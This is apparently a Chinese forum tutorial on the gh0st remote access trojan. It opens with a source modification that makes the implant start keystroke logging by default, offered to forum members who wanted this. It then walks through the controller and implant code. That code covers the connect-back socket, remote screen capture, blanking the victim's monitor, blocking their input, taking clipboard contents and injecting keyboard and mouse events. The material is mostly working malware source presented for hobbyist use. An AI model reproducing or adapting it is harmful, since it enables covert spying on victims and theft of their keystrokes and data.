在类初始化的时候,我们判读有没有键盘记录文件,如果没有,则自动创建一个新的键盘记录文件,服务端就会默认开启键盘记录了,这样就不用特意再打开服务端控制,从而避免有效信息丢失 ^_^闲时玩远控,私下有很多站友想在gh0st服务端运行的同时开启键盘记录,苦于对代码不熟,到处求人,还让人给拿一把,我在这里给出实现方法 ,希望对gh0st爱好者有所帮助。
在KeyboardManager.cpp的 bool CKeyboardManager::StartHook()方法中,有这样一段代码:
ZeroMemory(m_pTShared->str, sizeof(m_pTShared->str));
GetSystemDirectory(m_pTShared->strRecordFile, sizeof(m_pTShared->strRecordFile));
lstrcat(m_pTShared->strRecordFile, "\\keyboard.inf"); //keyboard.inf是自己给的记录文件名
// 文件存在,就开始离线记录开启
if (GetFileAttributes(m_pTShared->strRecordFile) != -1)
m_pTShared->bIsOffline = true;
else
m_pTShared->bIsOffline = false;
从这段代码可以看出,服务端启动后,自动判读有没有keyboard.inf这个文件,如果有,就自动开启离线记录,如果没有就默认没有开启键盘记录。
我们在类构造的时候加上如下代码:
char strRecordFile [MAX_PATH];
GetSystemDirectory(strRecordFile, sizeof(strRecordFile));
lstrcat(strRecordFile, "\\keyboard.inf");
if (GetFileAttributes(strRecordFile) == -1)
{
HANDLE hFile = CreateFile(strRecordFile, GENERIC_WRITE, FILE_SHARE_WRITE, NULL,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
CloseHandle(hFile);
}
=============================================================================================================================
在类初始化的时候,我们判读有没有键盘记录文件,如果没有,则自动创建一个新的键盘记录文件,服务端就会默认开启键盘记录了,这样就不用特意再打开服务端控制,从而避免有效信息丢失 ^_^
远程主机流程图:
客户机流程图:
CGh0stApp theApp; 唯一的实例在初始化中调用了主框架的 Activate 函数:
BOOL CGh0stApp::InitInstance()
{
((CMainFrame*) m_pMainWnd)->Activate(nPort, nMaxConnection);
}Activate 函数构造了一个 CIOCPServer 对象,然后调用 Initialize 函数初始化:
void CMainFrame::Activate(UINT nPort, UINT nMaxConnections)
{
m_iocpServer = new CIOCPServer;
m_iocpServer->Initialize(NotifyProc, this, 100000, nPort)
}Initialize 注册了一个回调函数 m_pNotifyProc ,创建了一个监听套接字,一个监听线程 ListenThreadProc ,然后初始化 IOCP 服务端
bool CIOCPServer::Initialize(NOTIFYPROC pNotifyProc, CMainFrame* pFrame, int nMaxConnections, int nPort)
{
m_pNotifyProc = pNotifyProc;
m_socListen = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, WSA_FLAG_OVERLAPPED);
nRet = bind(m_socListen, (LPSOCKADDR)&saServer, sizeof(struct sockaddr));
nRet = listen(m_socListen, SOMAXCONN);
m_hThread =(HANDLE)_beginthreadex(NULL,0,ListenThreadProc,(void*) this,0,&dwThreadId);
InitializeIOCP();
}IOCP 注册的回调函数 NotifyProc ,
收到 NC_CLIENT_DISCONNECT 就从客户列表视图移除,
收到 NC_RECEIVE 调用 ProcessReceive 函数,
收到 NC_RECEIVE_COMPLETE 调用 ProcessReceiveComplete 函数
void CALLBACK CMainFrame::NotifyProc(LPVOID lpParam, ClientContext *pContext, UINT nCode)
{
switch (nCode)
{
case NC_CLIENT_CONNECT:
break;
case NC_CLIENT_DISCONNECT:
g_pConnectView->PostMessage(WM_REMOVEFROMLIST, 0, (LPARAM)pContext);
break;
case NC_TRANSMIT:
break;
case NC_RECEIVE:
ProcessReceive(pContext);
break;
case NC_RECEIVE_COMPLETE:
ProcessReceiveComplete(pContext);
break;
}
}void CMainFrame::ProcessReceive(ClientContext *pContext)
{
if (pContext == NULL)
return;
// 如果管理对话框打开,交给相应的对话框处理
CDialog *dlg = (CDialog *)pContext->m_Dialog[1];
// 交给窗口处理
if (pContext->m_Dialog[0] > 0)
{
switch (pContext->m_Dialog[0])
{
case SCREENSPY_DLG:
((CScreenSpyDlg *)dlg)->OnReceive();
break;
default:
break;
}
return;
}
}void CMainFrame::ProcessReceiveComplete(ClientContext *pContext)
{
if (pContext == NULL)
return;// 如果管理对话框打开,交给相应的对话框处理
CDialog *dlg = (CDialog *)pContext->m_Dialog[1];
// 交给窗口处理
if (pContext->m_Dialog[0] > 0)
{
switch (pContext->m_Dialog[0])
{
case SCREENSPY_DLG:
((CScreenSpyDlg *)dlg)->OnReceiveComplete();
break;
default:
break;
}
return;
}switch (pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
{
case TOKEN_AUTH: // 要求验证
m_iocpServer->Send(pContext, (PBYTE)m_PassWord.GetBuffer(0), m_PassWord.GetLength() + 1);
break;
case TOKEN_HEARTBEAT: // 回复心跳包
{
BYTE bToken = COMMAND_REPLAY_HEARTBEAT;
m_iocpServer->Send(pContext, (LPBYTE)&bToken, sizeof(bToken));
}break;
case TOKEN_LOGIN: // 上线包{
if (m_iocpServer->m_nMaxConnections <= g_pConnectView->GetListCtrl().GetItemCount())
{
closesocket(pContext->m_Socket);
}
else
{
pContext->m_bIsMainSocket = true;
g_pConnectView->PostMessage(WM_ADDTOLIST, 0, (LPARAM)pContext);
}
// 激活
BYTE bToken = COMMAND_ACTIVED;
m_iocpServer->Send(pContext, (LPBYTE)&bToken, sizeof(bToken));
}break;
case TOKEN_BITMAPINFO: //
// 指接调用public函数非模态对话框会失去反应, 不知道怎么回事
g_pConnectView->PostMessage(WM_OPENSCREENSPYDIALOG, 0, (LPARAM)pContext);
break;
// 命令停止当前操作
default:
closesocket(pContext->m_Socket);
break;
}
}现在从客户连接列表右键弹出菜单,选择“屏幕控制”选项开始。
ON_COMMAND(IDM_SCREENSPY, OnScreenspy)
void CGh0stView::OnScreenspy()
{
BYTE bToken = COMMAND_SCREEN_SPY;
SendSelectCommand(&bToken, sizeof(BYTE));
}void CGh0stView::SendSelectCommand(PBYTE pData, UINT nSize)
{
ClientContext* pContext = (ClientContext*)m_pListCtrl->GetItemData(nItem);
m_iocpServer->Send(pContext, pData, nSize);
}void CIOCPServer::Send(ClientContext* pContext, LPBYTE lpData, UINT nSize)
{
//使用zlib压缩数据
//构造包头 'G' 'h' '0' 's' 't' | PacketLen | UnZipLen
//填充压缩后的数据
OVERLAPPEDPLUS * pOverlap = new OVERLAPPEDPLUS(IOWrite);
PostQueuedCompletionStatus(m_hCompletionPort, 0, (DWORD) pContext, &pOverlap->m_ol);
}IOCP 的线程函数收到发送过来的消息,将这个消息映射到函数 IO_MESSAGE_HANDLER(IOWrite, OnClientWriting)
unsigned CIOCPServer::ThreadPoolFunc (LPVOID thisContext)
{
pThis->ProcessIOMessage(pOverlapPlus->m_ioType, lpClientContext, dwIoSize);
}bool CIOCPServer::OnClientWriting(ClientContext* pContext, DWORD dwIoSize)
{
OVERLAPPEDPLUS * pOverlap = new OVERLAPPEDPLUS(IOWrite);
m_pNotifyProc((LPVOID) m_pFrame, pContext, NC_TRANSMIT); //表示正在传输,无实际意义
int nRetVal = WSASend(pContext->m_Socket, //发送命令到客户机
&pContext->m_wsaOutBuffer,
1,
&pContext->m_wsaOutBuffer.len,
ulFlags,
&pOverlap->m_ol,
NULL);
}客户机收到命令后回复主机已经准备好,ThreadPoolFunc 收到消息做好读操作
IO_MESSAGE_HANDLER(IORead, OnClientReading)
bool CIOCPServer::OnClientReading(ClientContext* pContext, DWORD dwIoSize)
{
//验证数据包格式
//zlib解压缩数据
//通知主框架接收完成
m_pNotifyProc((LPVOID) m_pFrame, pContext, NC_RECEIVE_COMPLETE);
}void CALLBACK CMainFrame::NotifyProc 函数响应操作,调用 ProcessReceiveComplete 函数,
case TOKEN_BITMAPINFO: 响应操作
g_pConnectView->PostMessage(WM_OPENSCREENSPYDIALOG, 0, (LPARAM)pContext);
ON_MESSAGE(WM_OPENSCREENSPYDIALOG, OnOpenScreenSpyDialog)
gh0stView 收到消息,转到 OnOpenScreenSpyDialog 函数处理LRESULT CGh0stView::OnOpenScreenSpyDialog(WPARAM wParam, LPARAM lParam)
{
//创建了一个 CScreenSpyDlg 的非模式对话框
CScreenSpyDlg *dlg = new CScreenSpyDlg(this, m_iocpServer, pContext);
}服务端不停地收到客户机发过来的数据,IOCP 接收线程产生 NC_RECEIVE 消息,CMainFrame::NotifyProc 处理,调用 ProcessReceive
显示帧数和进度 \\192.168.1.101 800 * 600 第1532帧 100%NC_RECEIVE_COMPLETE 消息调用 ProcessReceiveComplete 函数处理
((CScreenSpyDlg *)dlg)->OnReceiveComplete();void CScreenSpyDlg::OnReceiveComplete()
{
//画图像
}CScreenSpyDlg 重载 CDialog 的虚函数 PreTranslateMessage(MSG* pMsg) ,处理鼠标键盘事件
BOOL CScreenSpyDlg::PreTranslateMessage(MSG* pMsg)
{#define MAKEDWORD(h,l) (((unsigned long)h << 16) | l)
CRect rect;
GetClientRect(&rect);switch (pMsg->message)
{
case WM_LBUTTONDOWN:
case WM_LBUTTONUP:
case WM_RBUTTONDOWN:
case WM_RBUTTONUP:
case WM_MOUSEMOVE:
case WM_LBUTTONDBLCLK:
case WM_RBUTTONDBLCLK:
case WM_MBUTTONDOWN:
case WM_MBUTTONUP:
case WM_MOUSEWHEEL:
{
MSG msg;
memcpy(&msg, pMsg, sizeof(MSG));
msg.lParam = MAKEDWORD(HIWORD(pMsg->lParam) + m_VScrollPos, LOWORD(pMsg->lParam) + m_HScrollPos);
msg.pt.x += m_HScrollPos;
msg.pt.y += m_VScrollPos;
SendCommand(&msg);
}
break;
case WM_KEYDOWN:
case WM_KEYUP:
case WM_SYSKEYDOWN:
case WM_SYSKEYUP:
if (pMsg->wParam != VK_LWIN && pMsg->wParam != VK_RWIN)
{
MSG msg;
memcpy(&msg, pMsg, sizeof(MSG));
msg.lParam = MAKEDWORD(HIWORD(pMsg->lParam) + m_VScrollPos, LOWORD(pMsg->lParam) + m_HScrollPos);
msg.pt.x += m_HScrollPos;
msg.pt.y += m_VScrollPos;
SendCommand(&msg);
}
if (pMsg->wParam == VK_RETURN || pMsg->wParam == VK_ESCAPE)
return true;
break;
default:
break;
}return CDialog::PreTranslateMessage(pMsg);
}SendCommand 发送控制命令 COMMAND_SCREEN_CONTROL ,带上实际的消息数据到客户机
void CScreenSpyDlg::SendCommand(MSG* pMsg)
{
if (!m_bIsCtrl)
return;LPBYTE lpData = new BYTE[sizeof(MSG) + 1];
lpData[0] = COMMAND_SCREEN_CONTROL;
memcpy(lpData + 1, pMsg, sizeof(MSG));
m_iocpServer->Send(m_pContext, lpData, sizeof(MSG) + 1);delete[] lpData;
}-----------------------------------------------------------------------------
客户端主函数:
创建一个 CClientSocket 对象,一个 CKernelManager 对象,关联 socketClient 到 manager
int main(int argc, char **argv)
{
CClientSocket socketClient;
socketClient.Connect(lpszHost, dwPort);
CKernelManager manager(&socketClient, strServiceName, g_dwServiceType, strKillEvent, lpszHost, dwPort);
socketClient.setManagerCallBack(&manager);
}class CKernelManager : public CManager
{
public:
virtual void OnReceive(LPBYTE lpBuffer, UINT nSize);
}OnReceive 函数是个虚函数
Connect 函数连接到服务器,同时创建了一个工作线程 WorkThread,
bool CClientSocket::Connect(LPCTSTR lpszHost, UINT nPort)
{
connect(m_Socket, (SOCKADDR *)&ClientAddr, sizeof(ClientAddr))
m_hWorkerThread = (HANDLE)MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, (LPVOID)this, 0, NULL, true);
}WorkThread 接受数据,调用 OnRead 成员函数处理数据,
DWORD WINAPI CClientSocket::WorkThread(LPVOID lparam)
{
int nSize = recv(pThis->m_Socket, buff, sizeof(buff), 0);
if (nSize > 0) pThis->OnRead((LPBYTE)buff, nSize);
}OnRead 函数核查数据,转交给成员对象 m_pManager 处理,
void CClientSocket::OnRead( LPBYTE lpBuffer, DWORD dwIoSize )
{
m_pManager->OnReceive(m_DeCompressionBuffer.GetBuffer(0), m_DeCompressionBuffer.GetBufferLen());
}class CClientSocket
{
private:
CManager *m_pManager;
}m_pManager 是CClientSocket 的一个私有成员函数指针,指向 CManager,
socketClient.setManagerCallBack(&manager);
这句代码设置 m_pManager 指向 CKernelManager 的对象,由于 CKernelManager 重新定义了 OnReceive 虚函数,
所以 m_pManager->OnReceive 实际上调用了 CKernelManager 的 OnReceive
void CKernelManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
switch (lpBuffer[0])
{
case COMMAND_ACTIVED:
InterlockedExchange((LONG *)&m_bIsActived, true);
break;
case COMMAND_SCREEN_SPY: // 屏幕查看
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ScreenManager,
(LPVOID)m_pClient->m_Socket, 0, NULL, true);
break;
case COMMAND_REPLAY_HEARTBEAT: // 回复心跳包
break;
}
}Loop_ScreenManager 创建了一个 CClientSocket 对象,连接到远程主机,然后创建了一个 CScreenManager 对象,关联到 socketClient
DWORD WINAPI Loop_ScreenManager(SOCKET sRemote)
{
CClientSocket socketClient;
if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))
return -1;
CScreenManager manager(&socketClient);socketClient.run_event_loop();
return 0;
}CScreenManager 构造函数创建了 2 个 工作线程
CScreenManager::CScreenManager(CClientSocket *pClient):CManager(pClient)
{
m_hWorkThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, this, 0, NULL, true);
m_hBlankThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ControlThread, this, 0, NULL, true);
}WorkThread 这个工作线程做的工作就是首先发送一个 TOKEN_BITMAPINFO 类型的数据包,
远程主机收到这个包后,CMainFrame::NotifyProc 函数响应,调用 ProcessReceiveComplete 函数,
case TOKEN_BITMAPINFO: 响应操作
g_pConnectView->PostMessage(WM_OPENSCREENSPYDIALOG, 0, (LPARAM)pContext);
自定义窗口消息被传到 gh0stView,CGh0stView::OnOpenScreenSpyDialog 函数被调用,此时一个 CScreenSpyDlg 对象被创建。
然后做的工作就是不停地发送桌面位图到远程主机,DWORD WINAPI CScreenManager::WorkThread(LPVOID lparam)
{
CScreenManager *pThis = (CScreenManager *)lparam;pThis->sendBITMAPINFO();
// 等控制端对话框打开pThis->WaitForDialogOpen();
pThis->sendFirstScreen();
try // 控制端强制关闭时会出错
{
while (pThis->m_bIsWorking)
pThis->sendNextScreen();
}catch(...){};return 0;
}ControlThread 函数的主要目的是让客户机一直让显示器省电,黑屏
DWORD WINAPI CScreenManager::ControlThread(LPVOID lparam)
{
if (pThis->m_bIsBlankScreen)
{
SystemParametersInfo(SPI_SETPOWEROFFACTIVE, 1, NULL, 0);
SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)2);
bIsScreenBlanked = true;
}
}下面看客户端和服务器端是怎么进行屏幕控制的
回到 Loop_ScreenManager 函数,有一句代码 CScreenManager manager(&socketClient);
class CScreenManager : public CManager
CScreenManager 首先调用基类的构造函数 CManager(pClient)
CManager 和 CClientSocket 是友元类,CManager 构造函数设置成员函数指针 m_pClient指向传进来的 pClient,同时设置 CClientSocket
的成员函数指针 m_pManager 指向自己 thisCManager::CManager(CClientSocket *pClient)
{
m_pClient = pClient;
m_pClient->setManagerCallBack(this);
}
void CClientSocket::setManagerCallBack( CManager *pManager )
{
m_pManager = pManager;
}
CScreenManager 重新定义了 CManager 的虚函数 OnReceive,当 CClientSocket 对象的线程函数收到数据包时候,
DWORD WINAPI CClientSocket::WorkThread(LPVOID lparam) 会调用
pThis->OnRead((LPBYTE)buff, nSize); OnRead 会调用
m_pManager->OnReceive(m_DeCompressionBuffer.GetBuffer(0), m_DeCompressionBuffer.GetBufferLen());void CScreenManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
try
{
switch (lpBuffer[0])
{
case COMMAND_NEXT:
// 通知内核远程控制端对话框已打开,WaitForDialogOpen可以返回
NotifyDialogIsOpen();
break;
case COMMAND_SCREEN_RESET:
ResetScreen(*(LPBYTE)&lpBuffer[1]);
break;
case COMMAND_ALGORITHM_RESET:
m_bAlgorithm = *(LPBYTE)&lpBuffer[1];
m_pScreenSpy->setAlgorithm(m_bAlgorithm);
break;
case COMMAND_SCREEN_CTRL_ALT_DEL:
::SimulateCtrlAltDel();
break;
case COMMAND_SCREEN_CONTROL:
{
// 远程仍然可以操作
BlockInput(false);
ProcessCommand(lpBuffer + 1, nSize - 1);
BlockInput(m_bIsBlockInput);
}
break;
case COMMAND_SCREEN_BLOCK_INPUT: //ControlThread里锁定
m_bIsBlockInput = *(LPBYTE)&lpBuffer[1];
break;
case COMMAND_SCREEN_BLANK:
m_bIsBlankScreen = *(LPBYTE)&lpBuffer[1];
break;
case COMMAND_SCREEN_CAPTURE_LAYER:
m_bIsCaptureLayer = *(LPBYTE)&lpBuffer[1];
m_pScreenSpy->setCaptureLayer(m_bIsCaptureLayer);
break;
case COMMAND_SCREEN_GET_CLIPBOARD:
SendLocalClipboard();
break;
case COMMAND_SCREEN_SET_CLIPBOARD:
UpdateLocalClipboard((char *)lpBuffer + 1, nSize - 1);
break;
default:
break;
}
}catch(...){}
}服务端发送的鼠标键盘事件由 ProcessCommand 函数处理,此函数的功能就是切换到当前桌面,模拟鼠标键盘输入
SwitchInputDesktop()是自定义函数
void CScreenManager::ProcessCommand( LPBYTE lpBuffer, UINT nSize )
{
// 数据包不合法
if (nSize % sizeof(MSG) != 0)
return;SwitchInputDesktop();
// 命令个数
int nCount = nSize / sizeof(MSG);// 处理多个命令
for (int i = 0; i < nCount; i++)
{
MSG *pMsg = (MSG *)(lpBuffer + i * sizeof(MSG));
switch (pMsg->message)
{
case WM_LBUTTONDOWN:
case WM_LBUTTONUP:
case WM_RBUTTONDOWN:
case WM_RBUTTONUP:
case WM_MOUSEMOVE:
case WM_LBUTTONDBLCLK:
case WM_RBUTTONDBLCLK:
case WM_MBUTTONDOWN:
case WM_MBUTTONUP:
{
POINT point;
point.x = LOWORD(pMsg->lParam);
point.y = HIWORD(pMsg->lParam);
SetCursorPos(point.x, point.y);
SetCapture(WindowFromPoint(point));
}
break;
default:
break;
}switch(pMsg->message)
{
case WM_LBUTTONDOWN:
mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
break;
case WM_LBUTTONUP:
mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
break;
case WM_RBUTTONDOWN:
mouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0);
break;
case WM_RBUTTONUP:
mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
break;
case WM_LBUTTONDBLCLK:
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
break;
case WM_RBUTTONDBLCLK:
mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
break;
case WM_MBUTTONDOWN:
mouse_event(MOUSEEVENTF_MIDDLEDOWN, 0, 0, 0, 0);
break;
case WM_MBUTTONUP:
mouse_event(MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
break;
case WM_MOUSEWHEEL:
mouse_event(MOUSEEVENTF_WHEEL, 0, 0, GET_WHEEL_DELTA_WPARAM(pMsg->wParam), 0);
break;
case WM_KEYDOWN:
case WM_SYSKEYDOWN:
keybd_event(pMsg->wParam, MapVirtualKey(pMsg->wParam, 0), 0, 0);
break;
case WM_KEYUP:
case WM_SYSKEYUP:
keybd_event(pMsg->wParam, MapVirtualKey(pMsg->wParam, 0), KEYEVENTF_KEYUP, 0);
break;
default:
break;
}
}
}